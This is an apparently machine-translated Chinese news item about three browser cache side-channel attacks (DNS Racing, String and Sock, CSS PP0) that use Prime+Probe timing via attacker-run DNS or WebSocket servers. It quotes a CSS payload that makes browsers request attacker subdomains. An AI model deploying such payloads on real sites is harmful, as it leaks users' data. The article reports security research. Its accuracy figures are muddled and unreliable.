来自美国、以色列和澳大利亚几所大学的研究人员团队开发了三种在网络浏览器上运行的攻击,以提取有关处理器缓存内容的信息。 一种方法适用于没有 JavaScript 的浏览器,另外两种方法则绕过现有的侧通道攻击防护方法,包括 Tor 浏览器和 DeterFox 中使用的方法。 用于演示攻击的代码以及攻击所需的服务器组件已发布在 GitHub 上。
为了分析缓存的内容,所有攻击都使用 Prime+Probe 方法,该方法涉及用一组标准值填充缓存,并通过在重新填充时测量对它们的访问时间来检测变化。 为了绕过浏览器中存在的干扰准确时间测量的安全机制,有两种选择:向攻击者控制的 DNS 或 WebSocket 服务器发出请求,该服务器会记录收到的请求的时间。 在一个实施例中,使用固定的DNS响应时间作为时间参考。
使用外部 DNS 或 WebSocket 服务器以及基于机器学习的分类系统进行的测量足以在最佳场景(平均 98-80%)下预测准确度高达 90% 的值。 该攻击方法已在各种硬件平台(Intel、AMD Ryzen、Apple M1、Samsung Exynos)上进行了测试,并被证明是通用的。

DNS Racing 攻击的第一个变体使用 JavaScript 数组的 Prime+Probe 方法的经典实现。 差异归结为基于外部 DNS 的计时器和 onerror 处理程序的使用,当尝试从不存在的域加载图像时会触发该处理程序。 外部计时器允许对浏览器进行 Prime+Probe 攻击,从而限制或完全禁用对 JavaScript 计时器的访问。
对于位于同一以太网上的 DNS 服务器,计时器的精度估计约为 2 毫秒,足以进行旁路攻击(作为比较,Tor 浏览器中标准 JavaScript 计时器的精度为减少到 100 毫秒)。 对于攻击,不需要控制 DNS 服务器,因为选择了操作的执行时间,以便 DNS 的响应时间作为检查提前完成的标志(取决于是否触发了 onerror 处理程序)或早或晚,对缓存检查操作的速度得出结论)。
第二种攻击方法“字符串和套接字”(String and Sock)旨在绕过限制 JavaScript 底层数组使用的安全措施。与使用数组不同,“字符串和套接字”利用对超长字符串的操作,字符串的长度经过精心选择,足以覆盖整个 LLC(末级缓存)。然后,使用 `indexOf()` 函数在字符串中搜索一个最初不存在于原始字符串中的小子字符串,这意味着搜索操作遍历了整个字符串。由于字符串长度与 LLC 缓存的大小相对应,因此扫描操作允许在不操作数组的情况下进行缓存检查。为了测量延迟,DNS 请求被替换为对攻击者控制的 WebSocket 服务器的调用。在字符串搜索操作开始和完成后,分别发送请求,并根据延迟情况进行测量。 服务器 计算用于分析缓存内容的延迟。
“CSS PP0”攻击的第三种变体通过HTML和CSS实现,即使在禁用JavaScript的浏览器中也能正常工作。该方法类似于“String and Sock”攻击,但并不依赖于JavaScript。该攻击会生成一组CSS选择器,这些选择器通过掩码进行搜索。首先,攻击者创建一个带有超长类名的div标签,用于填充缓存的初始长字符串。然后在该div标签内嵌套一系列具有各自ID的div标签。每个嵌套的div标签都定义了自己的样式,并使用一个搜索子字符串的选择器。页面渲染时,浏览器首先尝试处理内部的div标签,这会导致在长字符串中执行搜索操作。该搜索操作使用一个明显不存在的掩码,并遍历整个字符串,之后触发“非”条件,尝试加载一个引用随机元素的背景图像。 域: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X …
子域由攻击者的 DNS 服务器提供服务,该服务器可以测量接收请求的延迟。 DNS 服务器为所有请求发出 NXDOMAIN 并保留请求的确切时间的日志。 处理一组 div 后,攻击者的 DNS 服务器会收到一系列请求,这些请求之间的延迟与检查缓存内容的结果相关。

来源: opennet.ru
